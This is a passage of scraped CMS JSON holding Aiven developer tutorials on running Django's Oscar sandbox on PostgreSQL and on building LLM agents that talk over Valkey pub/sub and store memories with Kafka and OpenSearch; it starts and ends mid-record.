recommender](https://aiven.io/developer/building-a-movie-recommender)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-06-17T15:20:43.624Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-06-13T07:38:06.111Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI","asset":{"_ref":"image-774e96c9eb11413fb5356a2c435c21e4ca2acf4d-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models"},"subtitle":"Make sense of social media data with Apache Kafka® and Apache Flink®","tags":[{"_key":"5027510e5a66","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"877042413922","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"04674af16a29","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"ae6247b68caf","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"0d54b566cfdd","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"ad353ff88635","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"}],"title":"Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T15:27:05Z","_id":"11ee8dde-b1ef-4265-8958-951b00b6feaa","_rev":"ZhxRwgWPklJwoe04lpS9RV","_type":"devArticle","_updatedAt":"2024-11-28T13:06:08Z","body":"Developers love tools that make their lives easier, and so do I. In this post I'll demonstrate using [Django](https://www.djangoproject.com/), probably the best known Python web framework, with PostgreSQL®, one of my favourite databases.\n\nAs a realistic example of a Django application, I will use [Oscar](https://github.com/django-oscar/django-oscar), an e-commerce framework with a ready-made sandbox.\nBy default Oscar uses SQLite for storage, but I will show how to adapt it to use PostgreSQL instead, using Aiven for PostgreSQL.\n\n## Install Oscar\n\nStart by cloning the repository\n\n```shell\ngit clone --branch releases/3.2.4 https://github.com/django-oscar/django-oscar.git\n```\nand then\n```shell\ncd django-oscar\n```\n\n::alert[This sets us up to use release 3.2.4 of Oscar. To find out if there's a later release, look at the [Oscar release notes](https://docs.oscarcommerce.com/en/latest/releases/index.html) page, or use `git branch -a | grep releases` (unfortunately they're not sorted by release order). You can then `git checkout releases/X.Y.Z` to use release X.Y.Z. ]\n\nSince I am installing new requirements for this project, I use a virtual environment. This stops the packages for this project from interfering with any other Python packages I might have installed.\n```shell\npython3 -m venv venv\nsource venv/bin/activate\n```\n\nOscar's Makefile uses [npm](https://www.npmjs.com/package/npm) to pull in the dependencies it needs. On my Mac I install `npm` using [homebrew](https://brew.sh/):\n```shell\nbrew install npm\n```\n\nCreate the default sandbox installation using\n```shell\nmake sandbox\n```\nwhich installs the project dependencies, and sets up a version of the sandbox with example data stored in a local SQLite database.\n\n::alert[On an M1 or M2 Mac, `make sandbox` may fail in its `npm install` stage when it tries to install [node-sass](https://www.npmjs.com/package/node-sass), which is deprecated. If that happens, edit the `package.json` file, delete the line `\"node-sass\": \"^9.0.0\",` and then run `make sandbox` again. This should be fixed in a future version of Oscar.]{type=\"warning\"}\n\n::alert[You may see various deprecation warnings from npm - these can be safely ignored in the context of a sandbox build for local use.]\n\n\n## Use the default SQLite setup\n\nWith the sandbox set up, run the Django project locally using:\n```shell\nsandbox/manage.py runserver\n```\n\nThis starts the development server and indicates its URL, `http://127.0.0.1:8000/`. When I open a web browser window at that address, I see the Oscar Sandbox store front.\n\n![Oscar sandbox screenshot](//images.ctfassets.net/q3u27v6lpki8/6ukRTMGXnR9AvwjyfrFr5x/fc983ec1a9ce673ae8ac967983b05bc7/oscar-sandbox-screenshot.png)\n\nTo prove that the system is working, try \"buying\" a couple of books, adding them to the basket, checking out, and seeing the order details.\n\n::alert[It's not possible to pay for the test purchase since we don't have a payment mechanism set up. Instead, the \"Payment\" page provides links to some possible implementation choices, and otherwise does nothing.]{title=\"Note\"}\n\nI can also add an account for myself, setting my address, and see that the account and purchase information persist when I restart the web server, since they are stored in the database.\n\n## Oscar database configuration\n\nThe `sandbox/settings.py` file is the central \"settings\" file for this Django application, and the value for `DATABASES` specifies how and where to access the application database.\n\nThe default is to use SQLite, but the use of `os.environ.get` allows me to override the default choices by setting environment variables. In each case, the first argument to `os.environ.get` is the name of an environment variable, and the second argument is the value to use if that environment variable is not set.\n\n```python\n# Use a Sqlite database by default\nDATABASES = {\n    'default': {\n        'ENGINE': os.environ.get('DATABASE_ENGINE', 'django.db.backends.sqlite3'),\n        'NAME': os.environ.get('DATABASE_NAME', location('db.sqlite')),\n        'USER': os.environ.get('DATABASE_USER', None),\n        'PASSWORD': os.environ.get('DATABASE_PASSWORD', None),\n        'HOST': os.environ.get('DATABASE_HOST', None),\n        'PORT': os.environ.get('DATABASE_PORT', None),\n        'ATOMIC_REQUESTS': True\n    }\n}\n```\n\nSQLite stores its database in a single file, in this case `sandbox/db.sqlite`. We want to use PostgreSQL®, so we will create a database and then configure Oscar to store its data there.\n\n## Create a PostgreSQL® database\n\nTo create the PostgreSQL database, follow the instructions at the beginning of [Getting started with Aiven for PostgreSQL®](https://aiven.io/docs/products/postgresql/get-started). My setup uses the following choices:\n\n* The current default version of PostgreSQL, v14.\n* Google Cloud and location `google-europe-north1`.\n* For this demo, I choose Service Plan \"Hobbyist\". This is the minimal plan, which says it is suitable for \"small test environments\". For production databases you will probably want the more robust options available in the Business or Premium plans.\n* My service needs a name, and \"tibs-django-pg\" is fairly self-explanatory.\n\n## Use PostgreSQL as the backend database\n\nAs we saw above, the `DATABASES` setup in the `sandbox/settings.py` file has been written to look values up from environment variables.\n\nTo change to using a PostgreSQL database, I set the appropriate environment variables in my shell (shown here for Bash):\n```shell\nDATABASE_ENGINE='django.db.backends.postgresql_psycopg2'\nDATABASE_NAME='defaultdb'\nDATABASE_USER='\u003cUSER\u003e'\nDATABASE_PASSWORD='\u003cPASSWORD\u003e'\nDATABASE_HOST='\u003cHOST\u003e'\nDATABASE_PORT='\u003cPORT\u003e'\n```\nwhere `\u003cUSER\u003e`, `\u003cPASSWORD\u003e`, `\u003cHOST\u003e` and `\u003cPORT\u003e` are replaced with the values from the \"Connection Information\" on the [Aiven Console](https://console.aiven.io/login) service page for the PostgreSQL service.\n\nI'm using the database name as the default provided by the service; in a real life application, it would be sensible to create a new database with a more appropriate name and different access credentials than the defaults.\n\nOnce the Aiven for PostgreSQL service is `Running`, rebuid the sandbox database with:\n```shell\nmake build_sandbox\n```\nThis runs the ``sandbox_clean``, ``sandbox_load_user`` and ``sandbox_load_data`` targets:\n\n* `sandbox_clean` deletes locally cached items, and deletes the `db.sqlite` file\n* `sandbox_load_user` loads the user data into the database, as specified by the new settings - so the PostgreSQL database\n* `sandbox_load_data` loads the sample product information into the database\n\nNote that it is *not* performing any migration from the SQLite database, it's just populating our new PostgreSQL database with the same example source data.\n\nRestart the application server\n```shell\nsandbox/manage.py runserver\n```\nand again open a browser window at `http://127.0.0.1:8000/`.\n\nThe online shop looks identical to when SQLite was being used.\n\nI can do the same actions as before:\n\n* buy a couple of books, add them to my basket, check out, and see the order details.\n* create an account, set my address, and then buy a book while logged in\n\nMy account information and order history are still remembered when I restart the server.\n\n## Inspect the PostgreSQL database\n\nTo see how the data is stored in the database, connect to it using the Django `dbshell` command:\n```shell\nsandbox/manage.py dbshell\n```\n\nwhich is a convenient way of opening the command line interface to the backing database - in this case, `psql`.\n\nTyping `\\d` lists the Oscar sandbox tables in `defaultdb` (with 185 rows in the response).\n\nFirst I query the `auth_users` table to check my account details:\n\n`SELECT id, username, email FROM auth_user;` gave me\n```\n id |            username            |         email\n----+--------------------------------+-----------------------\n  1 | superuser                      | superuser@example.com\n  2 | staff                          | staff@example.com\n  3 | j4WAvjzRDGpGTrxnwM_awovzeoTLIL | tibs@example.com\n(3 rows)\n```\nwhich shows that my user id is `3`.\n\nLooking around to see if I can find the record of my book purchase, I see that `SELECT id, status, owner_id FROM basket_basket where owner_id = 3;` returns\n ```\n  id |  status   | owner_id\n ----+-----------+----------\n   1 | Submitted |        3\n   2 | Open      |        3\n (2 rows)\n ```\nwhich shows I \"submitted\" one checkout basket, with id of `1`.\n\nLooking up the basket with `SELECT id, quantity, product_id FROM basket_line WHERE basket_id = 1;` gives me\n```\n id | quantity | product_id\n----+----------+------------\n  1 |        1 |        190\n(1 row)\n```\n\nFinally,looking up that product by its id, `SELECT title FROM catalogue_product WHERE id = 190;` shows\n```\n           title\n----------------------------\n The Cathedral \u0026 the Bazaar\n(1 row)\n```\nwhich is the name of the book I bought.\n\nFinally, exit `psql` using the `\\q'` command.\n```\ndellstore-\u003e \\q\n```\n\n## Oscar and Aiven for PostgreSQL\n\nIn this post, I explored how to use an Aiven service (Aiven for PostgreSQL) as a backend for a web platform I already knew, [Django](https://www.djangoproject.com/).\nTo avoid the lengthy process of setting up my own Django application, I decided to use an existing one, the [Oscar sandbox](https://django-oscar.readthedocs.io/en/stable/internals/sandbox.html)\n\nThe setup was not too difficult and I'll definitely consider using this combination again.\n\n## Next steps\n\nIf you want to learn more about Django itself, the offical [Django tutorial](https://docs.djangoproject.com/en/4.0/intro/tutorial01/) is a good place to start.\n\nI also recommend the [Django documentation](https://docs.djangoproject.com/en/4.0/) as a reference for anyone working with Django or related projects.\n\nThe [Oscar documentation](https://django-oscar.readthedocs.io/) has a lot more information about the project. I'm very grateful that they've made the sandbox application available as a quick way of getting a realistic Django project up and running.\n\nWe've got a follow up article on how to add caching to the application, [Set up Django to use Aiven for Valkey™](https://aiven.io/developer/set-up-django-to-use-aiven-for-valkey).\n\nAlso, check out [Aiven for PostgreSQL®](https://aiven.io/postgresql), and\nif you're not using Aiven services yet, go ahead and sign up for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup).","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:27:00.534Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"97a9f81b1766","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-05-18T10:40:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0c005fac0d664824034d1aa0981622dd83bfef3e-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/django-and-aiven-for-pg"},"subtitle":"Django is a fully-featured high-level Python web framework. Read on to see how to get it to store its data in an Aiven for PostgreSQL® database.","tags":[{"_key":"5a096ef6c3c5","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"215a2661720a","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"eae65d2fab47","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Set up Django to use Aiven for PostgreSQL®"}
{"__i18n_lang":"en","_createdAt":"2024-08-26T03:38:28Z","_id":"b92eed13-153d-4a28-87d1-450726d0991e","_rev":"Rx1Nho763d29lawKrbhtjv","_type":"devArticle","_updatedAt":"2024-08-29T08:41:39Z","body":"This tutorial will walk you through setting up a communication system between AI agents using Aiven for Valkey™ and Amazon Bedrock’s Claude model. The goal is to enable agents to operate independently while staying in sync through a pub/sub service.\n\n![diagram.png](https://cdn.sanity.io/images/sczeoy4w/production/c77ee2b2aa11ce983951a9918a73bfe48c2de06f-1382x1448.png)\n\nThis setup is particularly useful in scenarios like automating customer support, managing IoT devices, or any situation where systems need to communicate in real-time.\n\nIn this tutorial we'll take an example of two inhabitants of an imaginary planet that meet and start talking.\n\nThe complete code can be found in [the github repository](https://github.com/Aiven-Labs/agent-communication-valkey-bedrock). However, by following the steps below you can create the project step by step on your own.\n\n## Prerequisites\nTo follow along you'll need:\n\n- access to AWS and sufficient permissions to access Amazon Bedrock foundation models;\n- npm and NodeJS installed on your machine or, alternatively, you can use [Github Codespaces](https://github.com/features/codespaces) or a similar environment with pre-installed libraries.\n\n## Step 1. Create a pub/sub service\nTo ensure our agents can operate independently while still listening to each other, we'll need a pub/sub service. For this tutorial, we're using Aiven for Valkey.\nIf you don't have an Aiven account yet, [register here](https://go.aiven.io/aws-agents-workshop). You can create an Aiven for Valkey service via the console, CLI, or with a Terraform script.  More details can be found [on the get started page](https://aiven.io/docs/products/valkey/get-started).\n\nOnce your service is up and running, make sure to copy the service URI — we'll need it later.\n\n## Step 2. Enable Amazon Bedrock Claude model\nIn this project, we’re using the Claude LLM available through Amazon Bedrock. Before we can invoke the model, we need to enable access:\n\n1. In the AWS console, select a region where Amazon Bedrock and the Claude model are available (e.g., us-east-1).\n2. Navigate to the Amazon Bedrock service page.\n3. In the menu, select **Providers** then choose Anthropic, and scroll down to the Claude models.\n   ![aws-providers.png](https://cdn.sanity.io/images/sczeoy4w/production/c6b6a3aca4cfda81943bd62582cacb3118c7c3f5-3024x803.png)\n4. We’re using Claude 3 Haiku for this project. You can select a different model, but note that this might require adjustments in the request/response formats.\n5. If you see a message `This account does not currently have access to this model. Request access in Model access.` go to Model access and enable the model.\n\n### AWS credentials\n\nThis project assumes that AWS_SECRET_ACCESS_KEY and AWS_ACCESS_KEY_ID are set as environment variables.\nFollow [AWS documentation](https://docs.aws.amazon.com/keyspaces/latest/devguide/access.credentials.html) for more details.\n\n## Step 3. Create the Agent boilerplate\n\nTime to write some code. We’ll be using Node.js, so start by creating a new project folder and running ``npm install``. Feel free to keep the default answers while creating a ``package.json``.\n\nNext, create a file named ``agent.js`` where we’ll define an Agent class to hold the properties and methods needed for our agents. The basic properties we’ll include are:\n\n- The agent’s name (which will be used as an ID by other agents for interaction, and to define the pub/sub channel).\n- The name of the agent with whom we want to interact.\n- An array to store recent memories.\n- A boolean flag indicating whether this agent initiates the conversation.\n\nOur agent will also need an initialization method to kickstart the conversation and listen to other agents. We’ll add this method along with a couple of placeholder methods - ``startListeningToOthers`` and ``startConversation`` - that we’ll implement in later steps.\n\nHere’s a basic version of our Agent class:\n\n```js\nclass Agent {\n    constructor(agentName, anotherAgent, starts) {\n        this.agentName = agentName;\n        this.anotherAgent = anotherAgent;\n        this.shortMemory = [];\n        this.starts = starts;\n    }\n\n    async initiate() {\n        // await this.startListeningToOthers();\n        if (this.starts) {\n            // await this.startConversation(this.anotherAgent);\n        }\n    }\n}\n\nexport default Agent;\n```\n\nAdmittedly, this code is pretty bare-bones right now, but it gives us a good starting point. To get things rolling, let’s create a ``run.js`` file to initiate a conversation between a couple of agents:\n\n```js\nimport Agent from './agent.js';\n\nconst nick = new Agent('Nick', 'Judy', false);\nnick.initiate();\n\nconst judy = new Agent('Judy', 'Nick', true);\njudy.initiate();\n```\n\nYou can run this script with:\n\n```node run```\n\n\n\n## Step 4. Listen and communicate via pub/sub with Aiven for Valkey\n\nOur agents’ ability to listen and communicate will depend on a pub/sub system using Aiven for Valkey.\nFor this project, we’ll use the [iovalkey library](https://github.com/valkey-io/iovalkey),  a fork of ioredis, which is widely used in the industry.\n\nTo add iovalkey as a dependency, run:\n\n```\nnpm install iovalkey\n```\n\nThis will update your `package.json` and install the library.\n\nNow, let’s create a client and subscribe it to a channel. To keep Valkey-related functionality separate from the Agent methods, we’ll create a new file called `common.js` where we’ll handle communication with Valkey, as well as AWS in the steps below.\n\nAdd the following subscribe method to `common.js`:\n\n```js\nimport Valkey from 'iovalkey'\n\n\nexport const subscribe = (channel) =\u003e {\n    const valkeyClient = new Valkey(process.env.VALKEY_SERVICE_URI);\n    valkeyClient.subscribe(channel, async (err, count) =\u003e {\n        if(err) {\n            console.error(`ERROR: failed to subscribe to channel ${channel}. error: ${err.message}`);\n        } else {\n            console.log(`NOTIFICATION: successfully subscribed to channel ${channel}`);\n        }\n    })\n    return valkeyClient;\n}\n```\n\nIn this subscribe method, we define a Valkey client and subscribe it to the specified channel. For convenience, we return the `valkeyClient` so that we can use the events it provides within the agent.\n\n\nOne more thing that we need to do to communicate with the Valkey service is to define VALKEY_SERVICE_URI in the process environment variables. To securely manage the service credentials and prevent accidental commits of sensitive information, we’ll use [the dotenv library](https://github.com/motdotla/dotenv). Install it with\n\n```\nnpm install dotenv\n```\n\nAdd a `.env` file to your project (and don’t forget to add `.env` to your `.gitignore` if you’re planning to commit your code to GitHub). Populate your `.env` file with the Valkey service URI, which you can find on the Aiven service page you created earlier:\n\n```\nVALKEY_SERVICE_URI=YOUR-AIVEN-FOR-VALKEY-SERVICE-URI\n```\n\nTo load ``VALKEY_SERVICE_URI`` into ``process.env``, import ``dotenv`` to `common.js` and run the ``config`` method:\n```js\nimport dotenv from 'dotenv'\ndotenv.config()\n```\n\nNow that we have ``subscribe`` method, we can implement the `startListeningToOthers` method in the Agent class, where we subscribe the agent to its own channel. This method subscribes the agent to its own channel, essentially giving the agent \"ears\" to listen and react to messages on that channel:\n\n```js\nasync startListeningToOthers() {\n    const subscriber = subscribe(this.agentName);\n    subscriber.on(\"message\", async (channel, message) =\u003e {\n        const parsedMessage = JSON.parse(message);\n        await this.replyToMessage(parsedMessage.agent, parsedMessage.message)\n    })\n}\n```\nMessages sent to the channel can be in any format we choose, but for simplicity, we’ll use JSON, with each message containing two properties: the name of the agent who sent the message, and the message body itself.\n\nNext, we’ll implement the `replyToMessage` method. Here’s what this method will do:\n1. Check if the conversation has ended; if not, proceed.\n2. Create a prompt to ask the model for the next phrase in the conversation (we’ll define this in the next section).\n3. Call the large language model to generate the next conversation phrase(we’ll define this in the next section).\n4. Store the information in the agent’s short-term memory.\n5. Send the newly generated message to the other agent’s channel.\n\n\n```js\nasync replyToMessage(recipient, message) {\n    if (message \u0026\u0026 message.includes(\"END\")) {\n        return;\n    }\n\n    const prompt = this.getPrompt(message);\n    console.log(`### ${this.agentName.toUpperCase()} PROMPT: ###`)\n    console.log(\"prompt: \" + this.agentName, prompt)\n    const response = await invokeModel(prompt);\n    console.log(`=== ${this.agentName.toUpperCase()} SAYS: ===`)\n    console.log(`${response}`);\n    if (message) {\n        this.shortMemory.push(`${recipient} said: ${message}`)\n    }\n\n    this.shortMemory.push(`You replied: ${response}`);\n    sendToChannel(recipient, JSON.stringify({agent: this.agentName, message: response}));\n}\n```\n\nWe also need to add `sendToChannel` method to ``common.js``. This method will create a new Valkey client that publishes a message to a channel. Keep in mind that a single client cannot both read and publish messages; it can only perform one type of operation:\n```js\nexport const sendToChannel = (channel, message) =\u003e {\n    const valkeyClient = new Valkey(process.env.VALKEY_SERVICE_URI);\n    valkeyClient.publish(channel, message);\n}\n```\n\n\nSince we’re already working with `replyToMessage`, let’s go ahead and add the `startConversation` method, which initiates a conversation by calling `replyToMessage` with just the recipient’s name, without any initial message:\n\n```js\nasync startConversation(recipient) {\n    await this.replyToMessage(recipient);\n}\n```\n\n## Step 5. Call Amazon Bedrock Claude model\nWe’re almost done! The last piece we need is the functionality to interact with the Claude model.\n\n### Prompts\n\nWe’ll need a couple of prompts to communicate with the model and specify what we want it to do. Below are some example prompts, but feel free to modify them to suit the story you want to create.\n\nAdd this code to a file called ``prompts.js``:\n\n```js\nexport const getPromptStart = (agentName) =\u003e `You're an inhabitant of a planet Hipola, a very small and cosy planet. Your name is ${agentName}.`;\n\nexport const instructions = `Always follow these instructions:\n\n- If you just met, introduce yourself and learn their name;\n- if it's ongoing conversation, don't say hello again and don't introduce yourself again, just continue the conversation, reply or ask question, be natural;\n- answer the questions of the other inhabitant;\n- be consise, a couple of sentences is enough\n- if you want to finish the conversation and when both of you said goodbye to each other, respond \"[END]\"\n`;\n\n\nexport const getStartConversationPrompt = (agentName) =\u003e `${getPromptStart(agentName)}. Start the conversation. ${instructions}`;\n\nexport const getContinueConversationPrompt = (agentName, memoryString, message) =\u003e {\n    const shortMemory = !!memoryString ? `This is the conversation so far: ${memoryString}` : '';\n    return ` ${getPromptStart(agentName)}\nYou're meeting another inhabitant. ${shortMemory}\nReply to this message from another inhabitant from the planet Hipola: \"${message}\". If you already had several messages exchanged, politely say goodbye and end conversation. Be concise. Remember, you're ${agentName}.\n${instructions}`};\n```\n\nTo avoid an endless loop of conversation, we instruct the model to respond with \"[END]\" once the agent is finished talking.\n\nWe’ve separated the prompt used to start the conversation from the one used to continue it. Now, let’s add a `getPrompt` method to the Agent class that creates the appropriate prompt:\n\n```js\n\ngetPrompt(message) {\n    return !!message ? getContinueConversationPrompt(this.agentName, this.shortMemory.join('\\n - '), message) : getStartConversationPrompt(this.agentName);\n}\n```\n\nNow, let’s integrate Amazon Bedrock into our project. First, install the `@aws-sdk/client-bedrock-runtime library`:\n\n```\nnpm install @aws-sdk/client-bedrock-runtime\n```\n\nFor AWS credentials, you can either add them to your `.env` file or [store them securely elsewhere](https://docs.aws.amazon.com/keyspaces/latest/devguide/access.credentials.html) to be picked up by the AWS SDK.\n\nOnce that’s set up, create a Bedrock client in common.js and add the `invokeModel` method:\n\n```js\n\nimport {BedrockRuntimeClient, InvokeModelCommand} from \"@aws-sdk/client-bedrock-runtime\";\n\nconst bedrockClient = new BedrockRuntimeClient({\n    region: 'us-east-1',\n    credentials: {\n        secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,\n        accessKeyId: process.env.AWS_ACCESS_KEY_ID\n    }\n})\n\nexport const invokeModel = async (prompt) =\u003e {\n    const command = new InvokeModelCommand({\n        \"modelId\": \"anthropic.claude-3-haiku-20240307-v1:0\",\n        \"contentType\": \"application/json\",\n        \"accept\": \"application/json\",\n        \"body\": JSON.stringify({\n            \"anthropic_version\": \"bedrock-2023-05-31\",\n            \"max_tokens\": 1000,\n            \"messages\": [\n                {\n                    \"role\": \"user\",\n                    \"content\": [\n                        {\n                            \"type\": \"text\",\n                            \"text\": prompt\n                        }\n                    ]\n                }\n            ]\n        })\n    })\n    const response = await bedrockClient.send(command);\n    const decodedResponseBody = JSON.parse(new TextDecoder().decode(response.body));\n    return decodedResponseBody.content[0].text;\n}\n```\n\n## Step 6. Run\nFinally, it’s time to run the code:\n\n```\nnode run\n```\nYou should see Nick and Judy exchanging messages:\n\n![demo_high-res.gif](https://cdn.sanity.io/images/sczeoy4w/production/4995a5a0251775f55affa726914239bc1da7e2cf-720x405.gif)\n\n## Conclusion and next steps\nIn this tutorial, we set up a communication channel between two agents using Amazon Bedrock and Valkey pub/sub. Currently, our agents only have short-term memory. As a next step, consider adding long-term memory to help the agents remember each other and recall past conversations.\n\nIf you're curious to learn more things you can do with Aiven and AI look at:\n- [Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI](https://aiven.io/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models)\n- [Applying RAG pattern to navigate your knowledge store](https://aiven.io/developer/rag-bedrock-opensearch)\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-09-02T03:26:41.850Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-08-26T03:25:37.481Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Real-time AI Agent communication with Valkey and an LLM","asset":{"_ref":"image-ad3337fc4cac01884968f6c00b727af867cadde1-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/real-time-ai-agent-communication-with-valkey-and-an-llm"},"subtitle":"Integrating Valkey® pub/sub with Amazon Bedrock for AI agent communication","tags":[{"_key":"29a8bf262972","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"},{"_key":"a65cf7ac8a14","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"},{"_key":"553e9c317b7a","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Real-time AI Agent communication with Valkey™ and an LLM"}
{"__i18n_lang":"en","_createdAt":"2024-08-26T03:53:11Z","_id":"1296767a-a503-433e-9d5e-576401e4e99d","_rev":"aWoy619Wq5MYH4feSY70NP","_type":"devArticle","_updatedAt":"2024-09-03T09:36:17Z","body":"In this step-by-step tutorial, we'll explore how to build long-term memory into agent-based systems. Essentially, we'll create an agent system that can remember and learn from every interaction. [Previously](https://aiven.io/developer/real-time-ai-agent-communication-with-valkey-and-an-llm), we established a communication process using Valkey™ for pub/sub messaging to keep agents independent. Our initial architecture looked like this:\n\n![Initial Architecture](https://cdn.sanity.io/images/sczeoy4w/production/f3df5cb0f713dfaf779b1fa305b8a46777def143-1230x552.png)\n\nIn this tutorial, we'll expand on that by introducing several new components:\n\n- **Persistent Short-Term Memory**: we'll use Apache Kafka to store short-term memory.\n- **Reflection Mode**: at the end of each conversation, fresh data will be processed, vectorized, and stored in OpenSearch® for future use as long-term memory.\n- **Memory Integration**: we'll combine short-term and long-term memories using the Retrieval-Augmented Generation (RAG) pattern for future interactions.\n\nThis setup is particularly useful for scenarios like automating customer support, managing IoT devices, or any situation where systems need to operate independently while maintaining a shared state in real-time.\n\nBy the end of this tutorial, we'll achieve the following target architecture:\n\n![Final Architecture](https://cdn.sanity.io/images/sczeoy4w/production/299e6d184aaa8d1fbb124974ef29f21b8cd9cd8d-2276x1336.png)\n\nWhile it might seem complex, don't worry— we'll break it down module by module.\n\nThe complete code is available in [this GitHub repository](https://github.com/Aiven-Labs/agents-with-memories-rag-valkey-opensearch-bedrock). However, you can follow the steps below to build the project from scratch.\n\n\n## Prerequisites\n\nThis tutorial builds on concepts from [Integrating Valkey Pub/Sub with Amazon Bedrock for AI Agent Communication](https://aiven.io/developer/real-time-ai-agent-communication-with-valkey-and-an-llm), which you can also find in [this GitHub repository](https://github.com/Aiven-Labs/agent-communication-valkey-bedrock).\n\nTo follow along, you'll need:\n\n- AWS access with sufficient permissions to use Amazon Bedrock foundation models.\n- NodeJS and npm installed on your machine, or alternatively, you can use [GitHub Codespaces](https://github.com/features/codespaces) or a similar environment with pre-installed libraries.\n\n## Step 1. Set up services with Terraform\nWe'll use Terraform to set up Aiven services, which will allow us to automate the deployment of several services, making it easier to create, deploy, and manage the necessary credentials.\n\nIf you don't have Terraform installed, follow the instructions on [the Terraform documentation page](https://developer.hashicorp.com/terraform/install).\n\nThe Terraform files for this project are located in the `./terraform` folder.\n\n### Get Aiven token\nWe'll need an Aiven token to run the Terraform script and access your Aiven account.\n\nTo get the Aiven token:\n\n1. In the Aiven console, go to the **User Information** menu and select **Tokens**:\n   ![Aiven Tokens](https://cdn.sanity.io/images/sczeoy4w/production/c63fa1e7077a385cbc521bb287e454c9e59e9ace-3024x913.png)\n2. Click **Generate token**, add a description, and generate the token. A popup with the token will appear—copy the token value.\n3. Rename or create a new file named `./terraform/terraform.tfvars`.\n4. Add your Aiven token to `aiven_api_token` and the project name to `project_name`.\n5. Navigate to the `terraform` folder.\n6. Set `export PROVIDER_AIVEN_ENABLE_BETA=true` in your terminal (Terraform Valkey resource is still in beta).\n7. Run `terraform init`.\n8. Run `terraform plan`.\n9. Run `terraform apply`.\n\nTerraform will create four resources:\n\n- Aiven for Apache Kafka\n- Apache Kafka Topic\n- Aiven for OpenSearch\n- Aiven for caching (Valkey)\n\nOnce deployment is complete, Terraform will generate a `.env` file with the necessary credentials and a `certificates` folder with Apache Kafka certificates.\n\n### Add dependency to dotenv\n\nTo manage environment variables and credentials, we'll use `dotenv`. Install it with:\n```\nnpm install dotenv\n```\n\n## Step 2. Prepare Amazon Bedrock\n\nTo work with agents and their memories, we'll need two models:\n\n- **LLM**: We'll use Amazon Bedrock Claude 3 Haiku.\n- **Vectorization Model**: To translate text into vectors, we'll use Amazon Titan Text Embeddings.\n\nMake sure we have enabled access to these models by following steps from [AWS documentation for model access](https://docs.aws.amazon.com/bedrock/latest/userguide/model-access.html)\n\n## Step 3. Store current conversation in Apache Kafka\nWe'll store the ongoing conversation stream in an Apache Kafka topic. This approach has several benefits—it allows replaying the conversation later, which is useful for processing short-term memories and potentially for recovering from failures if we decide to implement such functionality in the future.\n\n![arch_2.png](https://cdn.sanity.io/images/sczeoy4w/production/ec4ed6956aa9b7278fd1629d62d8fe1adc912517-1756x606.png)\n\nTo interact with the Apache Kafka service from a NodeJS project, we'll use `node-rdkafka`. Install it with:\n\nTo send data to an Apache Kafka topic, we first need to set up a producer. Create a file named `producer.js` and add this code for a simple Kafka producer:\n\n```js\nimport Kafka from 'node-rdkafka';\nimport dotenv from 'dotenv';\ndotenv.config();\n\n// Create a producer\nexport const producer = new Kafka.Producer({\n    'metadata.broker.list': process.env[\"KAFKA_SERVICE_URI\"],\n    'security.protocol': 'ssl',\n    'ssl.key.location': process.env[\"ssl.key.location\"],\n    'ssl.certificate.location': process.env[\"ssl.certificate.location\"],\n    'ssl.ca.location': process.env[\"ssl.ca.location\"],\n    'dr_cb': true\n});\n\nproducer.on('event.log', function (log) {\n    console.log(log);\n});\n\n// Logging all errors\nproducer.on('event.error', function (err) {\n    console.error(err);\n});\n\nproducer.on('connection.failure', function (err) {\n    console.error(err);\n});\n\nproducer.on('delivery-report', function (err, report) {\n    console.log('Message was delivered' + JSON.stringify(report));\n});\n\nproducer.on('disconnected', function (arg) {\n    console.log('producer disconnected. ' + JSON.stringify(arg));\n});\n\nproducer.connect({}, (err) =\u003e {\n    if (err) {\n        console.error(err);\n    }\n});\n```\n\nNext, we integrate this producer into the `Agent` class by adding a new function, `storeInKafka`:\n\n```js\nstoreInKafka(topic, message) {\n    producer.produce(\n        topic,\n        